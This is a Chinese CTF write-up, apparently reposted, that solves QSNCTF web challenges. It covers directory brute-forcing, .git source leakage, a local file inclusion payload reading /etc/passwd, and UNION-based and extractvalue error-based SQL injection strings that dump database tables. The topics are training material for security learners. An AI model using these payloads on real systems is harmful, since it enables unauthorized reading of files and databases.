QSNCTF-WEB做题记录(2)

[第一章 web入门]常见的搜集

来自 <天狩CTF竞赛平台>

1,首先就是对网站进行目录枚举爆破

dirsearch -u http://challenge.qsnctf.com:31616 -x 404,403

得到如下的目录,分别查看一下内容

/.DS_Store                                       

                           

/index.php~ 

第二部分:flag2:s_v3ry_im

/robots.txt

/flag1_is_her3_fun.txt

第一部分:n1book{info_1

/.index.php.swp      

第三个部分:p0rtant_hack}

组成n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]粗心的小李

来自 <天狩CTF竞赛平台>

1,.git泄露漏洞。

GitHack 是一种文件夹泄露漏洞。.git它从 .git 文件夹重建源代码,同时保持目录结构不变。GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞 https://github.com/lijiejie/GitHack

2,命令示例:python GitHack.py http://还原链接/.git/

3,输入这个命令之后,会在challenge.qsnctf.com_32321

4,然后在该文件夹下发现生产的文件GitHack-master\challenge.qsnctf.com_32321\index.html

n1book{git_looks_s0_easyfun}

第三题:EasyInclude 2024

来自 <天狩CTF竞赛平台>

1,观察网站页面,提示存在include函数

$_GET['inc']: 这是从 URL 参数中获取一个值。也就是说,用户可以在 URL 中传递一个名为 inc 的参数,PHP 脚本将会根据这个参数的值来决定包含哪个文件。

2,由此构造payload:?inc=../../../../etc/passwd

成功包含了/etc/passwd文件,应该是存在本地文件包含漏洞(LFI,local file include)

3,构造语句payload:?inc=/flag

轻松包含了flag{b6408a9551ef4755abbd333bf9694865}

[第一章 web入门]SQL注入-1

来自 <天狩CTF竞赛平台>

1,观察靶场,能够通过?id=1传入参数进而改变网站页面,首先确定页面正常回显的情况

2,然后传入?id=1',不回显证明发生报错,传入?id=1",回显正常

?id=1' --+ 传入这个参数正常回显,说明此前单引号会破坏SQL查询语句的闭合,而现在使用--+注释掉需要闭合的单引号,使得?id=1'能够完成闭合。由此判断靶场存在单引号字符型sql注入漏洞

3, 使用order by语句判断数据表存在几列

ORDER BY 操作符用于对查询结果进行排序。它根据指定的列对数据进行升序或降序排列。默认情况下,ORDER BY 以升序(ASC)排序,但你也可以显式地指定升序或降序排序。

语法:

SELECT column1, column2, ...
FROM table_name
ORDER BY column1 [ASC|DESC], column2 [ASC|DESC], ...;

  • column1, column2, ...: 要排序的列。
  • ASC:升序(默认),从小到大排列。
  • DESC:降序,从大到小排列。

payload:?id=1' order by 1,2,3 --+ 不报错

payload:?id=1' order by 1,2,3,4 --+ 不报错

说明数据表的列数小于四列,大于等于三列,推断数据库列数为3

4,使用union操作符推断sql注入漏洞的回显点在哪几列

payload:?id=-1' union select 1,2,3 --+

回显出来2,3说明回显点在被查询的第二第三列

5,通过数据库函数爆出数据库名和版本号

payload:?id=-1' union select 1,database(),version() --+

6,爆数据表名fl4g,notes

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆出fl4g数据表下的列名fllllag

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

爆出notes数据表下的列名id,title,content

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

7,最后直接在数据表fl4g查询到flag

?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+

n1book{union_select_is_so_cool}

[第一章 web入门]SQL注入-2

来自 <天狩CTF竞赛平台>

1,题目提示请访问 /login.php /user.php

访问/login.php是一个登录网页

输入密码然后使用burpsuite抓包,大抵推断是一个POST型SQL注入

2,查看页面源代码发现了题目提示

右键发送到repeater模块,然后按照要求添加

  • "error": 1:error 字段的值是 1,通常表示发生了错误或异常。一般约定 0 表示成功,1 表示失败。
  • "msg": "\u8d26\u53f7\u4e0d\u5b58\u5728":msg 字段的值是一个 Unicode 编码的字符串。解码后,\u8d26\u53f7\u4e0d\u5b58\u5728 代表的中文是 "账户不存在"。

3,然后判断注入类型:

name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。

name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。

4,这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。经过和报错注入的联合判断,我们可以得出闭合方式为单引号。爆出数据库库名

1' and extractvalue(1,concat(0x7e,database()))--+

  • extractvalue():这是 MySQL 中的一个函数,它用来从 XML 数据中提取指定节点的值。它有两个参数,第一个参数是 XML 文档,第二个参数是 XPath 表达式。在 SQL 注入中,攻击者可以利用这个函数执行任意的 XML 操作,从而在数据库中执行一些恶意行为。
  • 1:extractvalue() 的第一个参数通常是 XML 数据。在这里,1 被用作一个“虚拟的” XML 数据。MySQL 将它当作一个无效的 XML 文档,并尝试在其上执行 XPath 操作。
  • concat(0x7e, database()):这个部分使用 concat() 函数将两个部分拼接起来。
    • 0x7e 是一个十六进制值,表示字符 ~(波浪号)。这是一个分隔符,用于在最终输出中分隔不同的内容。
    • database() 是 MySQL 的一个内置函数,用于获取当前数据库的名称。
      因此,concat(0x7e, database()) 会将字符 ~ 和当前数据库的名称拼接起来。例如,如果当前数据库是 test_db,则结果是 ~test_db。
  • extractvalue(1, concat(0x7e, database())):最终,这个函数会尝试从虚拟的 XML 文档 1 中提取节点 ~test_db(假设当前数据库为 test_db)。由于 extractvalue() 的目标是执行 XML 查询,它会导致一个错误或不正确的行为,但攻击者通常期望数据库返回当前数据库的名称作为结果,或造成 SQL 错误信息泄露。

数据库名就是note

5,爆破出数据库当中的数据表(需要进行绕过)

admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

爆出数据表有fl4g,users

6,然后爆出数据表fl4g的字段名

admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+

7,最后成功的爆出来flag

admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+

n1book{login_sqli_is_nice}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/977656.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

网络空间安全(1)web应用程序的发展历程

前言 Web应用程序的发展历程是一部技术创新与社会变革交织的长卷&#xff0c;从简单的文档共享系统到如今复杂、交互式、数据驱动的平台&#xff0c;经历了多个重要阶段。 一、起源与初期发展&#xff08;1989-1995年&#xff09; Web的诞生&#xff1a; 1989年&#xff0c;欧洲…

pandas读取数据

pandas读取数据 导入需要的包 import pandas as pd import numpy as np import warnings import oswarnings.filterwarnings(ignore)读取纯文本文件 pd.read_csv 使用默认的标题行、逗号分隔符 import pandas as pd fpath "./datas/ml-latest-small/ratings.csv" 使…

SSL 证书是 SSL 协议实现安全通信的必要组成部分

SSL证书和SSL/TLS协议有着密切的关系&#xff0c;但它们本质上是不同的概念。下面是两者的区别和它们之间的关系的表格&#xff1a; 属性SSL/TLS 协议SSL证书英文全称SSL&#xff08;Secure Sockets Layer&#xff09;&#xff0c;TLS&#xff08;Transport Layer Security&am…

蓝桥杯单片机基础部分——1.5基础模块代码升级

前言 之前的蓝桥杯单片机基础部分——1、基础模块代码发现有的同学不太会使&#xff0c;这样的话就给他们都封装一下函数&#xff0c;额外封装一下蜂鸣器和继电器&#xff0c;这就全了&#xff0c;到时候的逻辑只要没问题就没啥事了 LED灯模块 现在&#xff0c;给这里封装一个…

PCB设计常用布局布线方法

PCB设计常用布局布线方法 **1.模块化布局&#xff0c;**先放大器件再放小器件。 立创在原理图框完后&#xff0c;在PCB快捷shiftp 2.布局对齐美观 3.重要信号线优先处理 分类再画 4.减少Stub布线&#xff1a;就是避免为连接的线段&#xff0c;防止产生“天线效应”&#xff…

基于C++“简单且有效”的“数据库连接池”

前言 数据库连接池在开发中应该是很常用的一个组件&#xff0c;他可以很好的节省连接数据库的时间开销&#xff1b;本文基使用C实现了一个简单的数据库连接池&#xff0c;代码量只有400行只有&#xff0c;但是压力测试效果很好&#xff1b;欢迎收藏 关注&#xff0c;本人将会…

LangChain大模型应用开发:LangGraph快速构建Agent工作流应用

介绍 大家好&#xff0c;博主又来给大家分享知识了。今天给大家分享的内容是使用LangChain进行大规模应用开发中的LangGraph快速构建Agent工作流应用。 通过对前几次对LangChain的技术分享。我们知道LangChain作为一个强大的工具集&#xff0c;为开发者们提供了丰富的资源和便…

基于 IMX6ULL 的环境监测自主调控系统

文章目录 前言一、项目介绍二、前台QT界面1. 界面设计2. 代码示例 三、后台硬件驱动四、JsonRPC 实现前后台分离1. 为什么要拆分&#xff1f;2. 如何拆分&#xff1f; 五、总结 前言 项目完整代码&#xff1a;基于 IMX6ULL 的环境监测自主调控系统完整代码 该项目的源代码适用…

洛谷:花神的数论题--数位dp

求乘积 const int N 1e2 10,T 20;LL n; LL a[N]; LL dp[N][N];//枚举的第i位,没有任何限制,已经填写了j个1的数的乘积 //表示在[pos 1, len]中已经填写了cnt个1&#xff0c;[1, pos]任意填写数&#xff0c;所有合法方案的乘积LL mo(LL x) {return (x % mod mod) % mod; }…

【Linux探索学习】第三十一弹——线程互斥与同步(下):深入理解确保线程安全的机制

线程互斥与同步&#xff08;上&#xff09;&#xff1a;【Linux探索学习】第三十弹——线程互斥与同步&#xff08;上&#xff09;&#xff1a;深入理解线程保证安全的机制-CSDN博客 Linux探索学习&#xff1a; https://blog.csdn.net/2301_80220607/category_12805278.html?…

UVM_CALLBACK 应用举例

UVM_CALLBACK是一种基于回调函数的设计模式&#xff0c;允许用户在特定事件发生时插入自定义的行为。UVM提供了uvm_callback类作为基类&#xff0c;用户可以通过继承该类来定义自己的回调行为。采用uvm_callback基类&#xff0c;用户可以在不更改原始代码的情况下轻松插入调试代…

优选算法大集合(待更新)

1.双指针 1.1.移动零 leetcode链接&#xff1a;283. 移动零 - 力扣&#xff08;LeetCode&#xff09;​​​​​​ 移动零的问题我们可以将它归类为数组划分的问题&#xff0c;我们将数组划分为非零部分和零部分。我们会使用到双指针的算法&#xff0c;在这里&#xff0c;我…

本地大模型编程实战(22)用langchain实现基于SQL数据构建问答系统(1)

使 LLM(大语言模型) 系统能够查询结构化数据与非结构化文本数据在性质上可能不同。后者通常生成可在向量数据库中搜索的文本&#xff0c;而结构化数据的方法通常是让 LLM 编写和执行 DSL&#xff08;例如 SQL&#xff09;中的查询。 我们将演练在使用基于 langchain 链 &#x…

在 Mac mini M2 上 MaxKb配置ollama,API域名无效的解决方案

环境说明 docker方案安装与使用的maxkb 本地ollama安装deekseek r1 解决方案 参考https://bbs.fit2cloud.com/t/topic/4165 mac m1用户&#xff0c;根据github的以下回复&#xff0c;成功绑定域名api 如果你想调用本地的ollama 中的大模型&#xff0c;域名试试&#xff1a;…

【STL专题】优先级队列priority_queue的使用和模拟实现,巧妙利用仿函数解决优先级

欢迎来到 CILMY23的博客 &#x1f3c6;本篇主题为&#xff1a;优先级队列priority_queue的使用和模拟实现&#xff0c;巧妙利用仿函数解决优先级 &#x1f3c6;个人主页&#xff1a;CILMY23-CSDN博客 &#x1f3c6;系列专栏&#xff1a; C | C语言 | 数据结构与算法 | Linux…

【NLP 23、预训练语言模型】

人类发明后悔&#xff0c;来证明拥有的珍贵 —— 25.1.15 Bert的优势&#xff1a;① 预训练思想 ② Transformer模型结构 一、传统方法 VS 预训练方式 Pre-train&#xff1a; ① 收集海量无标注文本数据 ② 进行模型预训练&#xff0c;并在任务模型中使用 Fine-tune&#xff1a…

阳光高考瑞数6vmp算法还原

URL aHR0cHM6Ly9nYW9rYW8uY2hzaS5jb20uY24v这个站平时没有防护的&#xff0c;只有在平时填报高峰期&#xff0c;才会出来防护&#xff0c;也是为了防护自动脚本吧瑞数就是典型的cookie反爬 O开头cookie 6开头6代vmp&#xff0c;P值是加密的cookie&#xff0c;只有带上0开头的…

危化品经营单位安全管理人员的职责及注意事项

危化品经营单位安全管理人员肩负着保障经营活动安全的重要责任&#xff0c;以下是其主要职责及注意事项&#xff1a; 职责 1. 安全制度建设与执行&#xff1a;负责组织制定本单位安全生产规章制度、操作规程和生产安全事故应急救援预案&#xff0c;确保这些制度符合国家相关法…

微软推出Office免费版,限制诸多,只能编辑不能保存到本地

易采游戏网2月25日独家消息&#xff1a;微软宣布推出一款免费的Office版本&#xff0c;允许用户进行基础文档编辑操作&#xff0c;但限制颇多&#xff0c;其中最引人关注的是用户无法将文件保存到本地。这一举措引发了广泛讨论&#xff0c;业界人士对其背后的商业策略和用户体验…

VMware虚拟机安装win10系统详细图文安装教程(附安装包) 2025最新版详细图文安装教程

文章目录 前言一、软件下载二、安装步骤1.创建新的虚拟机2.安装 Windows 10 系统: 前言 在计算机使用中&#xff0c;有时需借助虚拟机来拓展功能。VMware 虚拟机是强大的工具&#xff0c;能让我们在同一台电脑上运行多个系统。Windows 10 系统功能丰富、应用广泛。本教程将详细…